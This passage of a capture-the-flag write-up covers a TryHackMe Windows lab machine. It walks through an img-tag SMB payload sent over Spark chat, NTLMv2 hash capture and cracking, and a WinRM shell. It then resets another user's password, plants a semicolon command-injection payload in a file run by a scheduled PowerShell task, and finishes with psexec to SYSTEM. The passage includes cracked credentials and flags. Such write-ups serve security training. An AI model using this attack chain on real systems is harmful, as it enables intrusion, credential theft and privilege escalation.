# C  [jna4582059984314626988.tmp+0xd0f8]  Pa_GetDeviceInfo+0x58
#
# Core dump written. Default location: /usr/share/spark/core or core.173
#
# An error report file with more information is saved as:
# /usr/share/spark/hs_err_pid173.log
#
# If you would like to submit a bug report, please visit:
#   http://bugreport.java.com/bugreport/crash.jsp
# The crash happened outside the Java Virtual Machine in native code.
# See problematic frame for where to report the bug.
#
/usr/bin/spark: line 65:   173 Aborted                 (core dumped) java -Dappdir=${wd} ${javalibrarypath} -cp ${classpath} ${mainclass}
root@9c4894cbd09a:~# 

The application crashes immediately with a SIGSEGV error. The error log points to a native audio library (Pa_GetDeviceInfo), which indicates the application is failing because it can’t find audio hardware in the headless Docker environment. To resolve this, I install ALSA (Advanced Linux Sound Architecture) utilities and create a dummy audio configuration file (/etc/asound.conf) that directs all audio to null.

Inside the Docker container:

0xblivion@:ra ~

root@9c4894cbd09a:~# apt install -y alsa-utils libasound2 libasound2-plugins

Then create a fake audio config:

0xblivion@:ra ~

root@9c4894cbd09a:~# echo 'pcm.!default {
  type null
}
ctl.!default {
  type null
}' > /etc/asound.conf  

With the fake audio device in place, Spark finally launches

Exploiting XSS in Spark (T1059.007)

Now that the client is running, I need a target. The company website had a green highlighted next to the user “Buse,” indicating they were online

I can send a message containing an <img> tag with a malicious src attribute pointing to my machine. When Buse views the message, the client will try to render the image, sending an SMB request to my machine

I fire up Responder to catch the incoming connection and send the payload to Buse

0xblivion@:ra ~

root@localhost:~# sudo responder -I tun0
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.1.6.0

  To support this project:
  Github -> https://github.com/sponsors/lgandx
  Paypal  -> https://paypal.me/PythonResponder

  Author: Laurent Gaffie (laurent.gaffie@gmail.com)
  To kill this script hit CTRL-C


[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]

Success! Responder captures Buse’s NTLMv2 hash. I crack it with hashcat

0xblivion@:ra ~

root@localhost:~# hashcat hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting in autodetect mode
...SNIP...
BUSE::WINDCORP:07690831477c80d7:7c28dcfb5200f74a0958edcbc3669253:01010000000000000deff46b71efdb01c84bf6173a84765000000000020008004100310034004f0001001e00570049004e002d0046004d005700580047004f004c00590038004e004a00040014004100310034004f002e004c004f00430041004c0003003400570049004e002d0046004d005700580047004f004c00590038004e004a002e004100310034004f002e004c004f00430041004c00050014004100310034004f002e004c004f00430041004c000800300030000000000000000100000000200000036a7a0efc4d7a8afc3644d24276779fa48f3c7ada2736baeb0696e885e6c4630a00100000000000000000000000000000000000090000000000000000000000:uzunLM+3131

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: BUSE::WINDCORP:07690831477c80d7:7c28dcfb5200f74a095...000000
Time.Started.....: Mon Jul  7 15:01:34 2025 (0 secs)
Time.Estimated...: Mon Jul  7 15:01:34 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 71929.7 kH/s (3.98ms) @ Accel:1024 Loops:1 Thr:64 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 3014656/14344385 (21.02%)
Rejected.........: 0/3014656 (0.00%)
Restore.Point....: 0/14344385 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: 123456 -> tylerandariel
Hardware.Mon.#1..: Temp: 36c Fan: 39% Util: 39% Core:1725MHz Mem:6800MHz Bus:16

Started: Mon Jul  7 15:01:32 2025
Stopped: Mon Jul  7 15:01:35 2025

The password for buse is uzunLM+3131


3. Privilege Escalation (T1068)

I first check if buse can WinRM

0xblivion@:ra ~

root@localhost:~# nxc winrm $target -u buse -p 'uzunLM+3131'
WINRM       10.10.96.189    5985   FIRE             [*] Windows 10 / Server 2019 Build 17763 (name:FIRE) (domain:windcorp.thm)
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
  arc4 = algorithms.ARC4(self._key)
WINRM       10.10.96.189    5985   FIRE             [+] windcorp.thm\buse:uzunLM+3131 (Pwn3d!)
root@localhost:~# nxc rdp $target -u buse -p 'uzunLM+3131'   
RDP         10.10.96.189    3389   FIRE             [*] Windows 10 or Windows Server 2016 Build 17763 (name:FIRE) (domain:windcorp.thm) (nla:True)
RDP         10.10.96.189    3389   FIRE             [+] windcorp.thm\buse:uzunLM+3131 (Pwn3d!)

Buse has WinRM and RDP access. We use Evil-WinRM for a shell

0xblivion@:ra ~

root@localhost:~# evil-winrm -i $target -u buse -p uzunLM+3131

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\buse\Documents> cd ..
*Evil-WinRM* PS C:\Users\buse> tree /f
Folder PATH listing
Volume serial number is 84E1-0562
C:.
³   .sparkExt.properties
³   sip-communicator.properties
³
ÃÄÄÄ3D Objects
ÃÄÄÄContacts
ÃÄÄÄDesktop
³   ³   Flag 2.txt
³   ³   Notes.txt
³   ³
³   ÃÄÄÄAlso stuff
³   ³       download.jpg
³   ³       fun.jpg
³   ³       maxresdefault.jpg
³   ³
³   ÀÄÄÄStuff
³       ÀÄÄÄPasswords
³               Facebook.txt
³
ÃÄÄÄDocuments
ÃÄÄÄDownloads
ÃÄÄÄFavorites
³   ³   Bing.url
³   ³
³   ÀÄÄÄLinks
ÃÄÄÄLinks
³       Desktop.lnk
³       Downloads.lnk
³
ÃÄÄÄMusic
ÃÄÄÄPictures
ÃÄÄÄSaved Games
ÃÄÄÄSearches
ÀÄÄÄVideos

*Evil-WinRM* PS C:\Users\buse\Desktop> type Flag*
THM{6f690fc72b9ae8dc25a24a104ed804ad06c7c9b1}
Flag 2: THM{6f690fc72b9ae8dc25a24a104ed804ad06c7c9b1}

Now for privilege escalation. I run whoami /all to check group memberships

0xblivion@:ra ~

*Evil-WinRM* PS C:\scripts> whoami /all

USER INFORMATION
----------------

User Name     SID
============= ============================================
windcorp\buse S-1-5-21-555431066-3599073733-176599750-5777


GROUP INFORMATION
-----------------

Group Name                                  Type             SID                                          Attributes
=========================================== ================ ============================================ ==================================================
Everyone                                    Well-known group S-1-1-0                                      Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                               Alias            S-1-5-32-545                                 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access  Alias            S-1-5-32-554                                 Mandatory group, Enabled by default, Enabled group
BUILTIN\Account Operators                   Alias            S-1-5-32-548                                 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Desktop Users                Alias            S-1-5-32-555                                 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users             Alias            S-1-5-32-580                                 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                        Well-known group S-1-5-2                                      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users            Well-known group S-1-5-11                                     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization              Well-known group S-1-5-15                                     Mandatory group, Enabled by default, Enabled group
WINDCORP\IT                                 Group            S-1-5-21-555431066-3599073733-176599750-5865 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication            Well-known group S-1-5-64-10                                  Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label            S-1-16-8448


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled


USER CLAIMS INFORMATION
-----------------------

User claims unknown.

Kerberos support for Dynamic Access Control on this device has been disabled.

Buse is a member of Account Operators. This is a highly privileged group that can modify most user accounts (except for administrators).

I find a script at C:\scripts\checkservers.ps1 that is run by a scheduled task. The script reads a list of servers from C:\Users\brittanycr\hosts.txt and uses Invoke-Expression on the contents. This is a classic command injection vulnerability. If I can write to that file, I can execute code.

0xblivion@:ra ~

*Evil-WinRM* PS C:\scripts> type checkservers.ps1
# reset the lists of hosts prior to looping
$OutageHosts = $Null
# specify the time you want email notifications resent for hosts that are down
$EmailTimeOut = 30
# specify the time you want to cycle through your host lists.
$SleepTimeOut = 45
# specify the maximum hosts that can be down before the script is aborted
$MaxOutageCount = 10
# specify who gets notified
$notificationto = "brittanycr@windcorp.thm"
# specify where the notifications come from
$notificationfrom = "admin@windcorp.thm"
# specify the SMTP server
$smtpserver = "relay.windcorp.thm"

# start looping here
Do{
$available = $Null
$notavailable = $Null
Write-Host (Get-Date)

# Read the File with the Hosts every cycle, this way to can add/remove hosts
# from the list without touching the script/scheduled task,
# also hash/comment (#) out any hosts that are going for maintenance or are down.
get-content C:\Users\brittanycr\hosts.txt | Where-Object {!($_ -match "#")} |
ForEach-Object {
    $p = "Test-Connection -ComputerName $_ -Count 1 -ea silentlycontinue"
    Invoke-Expression $p
if($p)
    {
     # if the Host is available then just write it to the screen
     write-host "Available host ---> "$_ -BackgroundColor Green -ForegroundColor White
     [Array]$available += $_
    }
else
    {
     # If the host is unavailable, give a warning to screen
     write-host "Unavailable host ------------> "$_ -BackgroundColor Magenta -ForegroundColor White
     $p = Test-Connection -ComputerName $_ -Count 1 -ea silentlycontinue
     if(!($p))
       {
        # If the host is still unavailable for 4 full pings, write error and send email
        write-host "Unavailable host ------------> "$_ -BackgroundColor Red -ForegroundColor White
        [Array]$notavailable += $_

        if ($OutageHosts -ne $Null)
            {
                if (!$OutageHosts.ContainsKey($_))
                {
                 # First time down add to the list and send email
                 Write-Host "$_ Is not in the OutageHosts list, first time down"
                 $OutageHosts.Add($_,(get-date))
                 $Now = Get-date
                 $Body = "$_ has not responded for 5 pings at $Now"
                 Send-MailMessage -Body "$body" -to $notificationto -from $notificationfrom `
                  -Subject "Host $_ is down" -SmtpServer $smtpserver
                }
                else
                {
                    # If the host is in the list do nothing for 1 hour and then remove from the list.
                    Write-Host "$_ Is in the OutageHosts list"
                    if (((Get-Date) - $OutageHosts.Item($_)).TotalMinutes -gt $EmailTimeOut)
                    {$OutageHosts.Remove($_)}
                }
            }
        else
            {
                # First time down create the list and send email
                Write-Host "Adding $_ to OutageHosts."
                $OutageHosts = @{$_=(get-date)}
                $Body = "$_ has not responded for 5 pings at $Now"
                Send-MailMessage -Body "$body" -to $notificationto -from $notificationfrom `
                 -Subject "Host $_ is down" -SmtpServer $smtpserver
            }
       }
    }
}
# Report to screen the details
$log = "Last run: $(Get-Date)"
write-host $log
Set-Content -Path C:\scripts\log.txt -Value $log
Write-Host "Available count:"$available.count
Write-Host "Not available count:"$notavailable.count
Write-Host "Not available hosts:"
$OutageHosts
Write-Host ""
Write-Host "Sleeping $SleepTimeOut seconds"
sleep $SleepTimeOut
if ($OutageHosts.Count -gt $MaxOutageCount)
{
    # If there are more than a certain number of host down in an hour abort the script.
    $Exit = $True
    $body = $OutageHosts | Out-String
    Send-MailMessage -Body "$body" -to $notificationto -from $notificationfrom `
     -Subject "More than $MaxOutageCount Hosts down, monitoring aborted" -SmtpServer $smtpServer
}
}
while ($Exit -ne $True)

The problem is, I’m buse, not brittanycr. But since I’m an Account Operator, I can just reset brittanycr’s password

0xblivion@:ra ~

*Evil-WinRM* PS C:\scripts> net user brittanycr Password123!
The command completed successfully.

I now have control of brittanycr’s account. I first checked if I could get a WinRM shell as her, but access was denied:

0xblivion@:ra ~

root@localhost:~# nxc winrm $target -u brittanycr -p 'Password123!'
WINRM       10.10.96.189    5985   FIRE             [*] Windows 10 / Server 2019 Build 17763 (name:FIRE) (domain:windcorp.thm)
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
  arc4 = algorithms.ARC4(self._key)
WINRM       10.10.96.189    5985   FIRE             [-] windcorp.thm\brittanycr:Password123!

However, I can access her user directory via the Users SMB share. My first thought was to inject a PowerShell reverse shell into hosts.txt. I uploaded the file and waited, but no shell came back, likely due to a firewall blocking the outbound connection.

0xblivion@:ra ~

root@localhost:~# smbclient.py 'windcorp.thm/brittanycr:Password123!'@$target
Impacket v0.13.0.dev0+20250327.181549.7078e935 - Copyright Fortra, LLC and its affiliated companies

Type help for list of commands
# shares
ADMIN$
C$
IPC$
NETLOGON
Shared
SYSVOL
Users
# use Users
# ls
drw-rw-rw-          0  Sat May  2 18:05:58 2020 .
drw-rw-rw-          0  Sat May  2 18:05:58 2020 ..
drw-rw-rw-          0  Sun May 10 07:18:11 2020 Administrator
drw-rw-rw-          0  Thu Apr 30 20:33:55 2020 All Users
drw-rw-rw-          0  Fri May  1 09:09:44 2020 angrybird
drw-rw-rw-          0  Fri May  1 09:09:34 2020 berg
drw-rw-rw-          0  Fri May  1 09:09:22 2020 bluefrog579
drw-rw-rw-          0  Sun May  3 09:30:02 2020 brittanycr
drw-rw-rw-          0  Fri May  1 09:09:08 2020 brownostrich284
drw-rw-rw-          0  Mon Jul  7 14:40:43 2025 buse
drw-rw-rw-          0  Thu Apr 30 19:35:11 2020 Default
drw-rw-rw-          0  Thu Apr 30 20:33:55 2020 Default User
-rw-rw-rw-        174  Thu Apr 30 20:31:55 2020 desktop.ini
drw-rw-rw-          0  Fri May  1 09:08:54 2020 edward
drw-rw-rw-          0  Sat May  2 19:30:16 2020 freddy
drw-rw-rw-          0  Fri May  1 09:08:28 2020 garys
drw-rw-rw-          0  Mon Jul  7 15:16:05 2025 goldencat416
drw-rw-rw-          0  Fri May  1 09:08:17 2020 goldenwol
drw-rw-rw-          0  Fri May  1 09:08:06 2020 happ
drw-rw-rw-          0  Fri May  1 09:07:53 2020 happyme
drw-rw-rw-          0  Fri May  1 09:07:42 2020 Luis
drw-rw-rw-          0  Fri May  1 09:07:31 2020 orga
drw-rw-rw-          0  Fri May  1 09:07:19 2020 organicf
drw-rw-rw-          0  Mon Jul  7 15:11:59 2025 organicfish718
drw-rw-rw-          0  Fri May  1 09:07:06 2020 pete
drw-rw-rw-          0  Thu Apr 30 10:35:47 2020 Public
drw-rw-rw-          0  Fri May  1 09:06:54 2020 purplecat
drw-rw-rw-          0  Fri May  1 09:06:42 2020 purplepanda
drw-rw-rw-          0  Fri May  1 09:06:31 2020 sadswan
drw-rw-rw-          0  Mon Jul  7 15:11:23 2025 sadswan869
drw-rw-rw-          0  Fri May  1 09:06:20 2020 sheela
drw-rw-rw-          0  Fri May  1 09:05:39 2020 silver
drw-rw-rw-          0  Fri May  1 09:05:24 2020 smallf
drw-rw-rw-          0  Fri May  1 09:05:05 2020 spiff
drw-rw-rw-          0  Fri May  1 09:04:49 2020 tinygoos
drw-rw-rw-          0  Fri May  1 09:03:57 2020 whiteleopard
# cd brittanycr
# ls
drw-rw-rw-          0  Sun May  3 09:30:02 2020 .
drw-rw-rw-          0  Sun May  3 09:30:02 2020 ..
-rw-rw-rw-         22  Sun May  3 09:44:57 2020 hosts.txt

The better approach is to use the command injection to create a new local user and add them to the Administrators group. I overwrite hosts.txt with the following payload:

; net user pawned Password123! /add; net localgroup Administrators pawned /add

I upload this file to brittanycr’s directory via SMB:

0xblivion@:ra ~

# cat hosts.txt
google.com
cisco.com


# put hosts.txt
# cat hosts.txt
; net user pawned Password123! /add; net localgroup Administrators pawned /add

I can watch C:\scripts\log.txt to see when the scheduled task runs:

0xblivion@:ra ~

*Evil-WinRM* PS C:\scripts> type log.txt
Last run: 07/07/2025 12:21:32
*Evil-WinRM* PS C:\scripts> type log.txt
Last run: 07/07/2025 12:22:18

A few moments later, I check for the new user:

0xblivion@:ra ~

*Evil-WinRM* PS C:\scripts> net user pawned
User name                    pawned
Full Name
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            7/7/2025 12:22:17 PM
Password expires             8/18/2025 12:22:17 PM
Password changeable          7/8/2025 12:22:17 PM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   Never

Logon hours allowed          All

Local Group Memberships      *Administrators
Global Group memberships     *Domain Users
The command completed successfully.

The user pawned now exists and is a local administrator. It’s game over. I use psexec.py to get a system shell:

0xblivion@:ra ~

root@localhost:~# psexec.py 'windcorp.thm/pawned:Password123!@'$target 
Impacket v0.13.0.dev0+20250327.181549.7078e935 - Copyright Fortra, LLC and its affiliated companies 

[*] Requesting shares on 10.10.96.189.....
[*] Found writable share ADMIN$
[*] Uploading file HuPxjwiJ.exe
[*] Opening SVCManager on 10.10.96.189.....
[*] Creating service qeel on 10.10.96.189.....
[*] Starting service qeel.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.1158]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32> cd \users\administrator\desktop

C:\Users\Administrator\Desktop> ls  
'ls' is not recognized as an internal or external command,
operable program or batch file.

C:\Users\Administrator\Desktop> dir
 Volume in drive C has no label.
 Volume Serial Number is 84E1-0562

 Directory of C:\Users\Administrator\Desktop

05/10/2020  04:17 AM    <DIR>          .
05/10/2020  04:17 AM    <DIR>          ..
05/07/2020  01:22 AM                47 Flag3.txt
               1 File(s)             47 bytes
               2 Dir(s)  44,681,650,176 bytes free

C:\Users\Administrator\Desktop> type Flag3.txt
THM{ba3a2bff2e535b514ad760c283890faae54ac2ef}

Flag 3: THM{ba3a2bff2e535b514ad760c283890faae54ac2ef}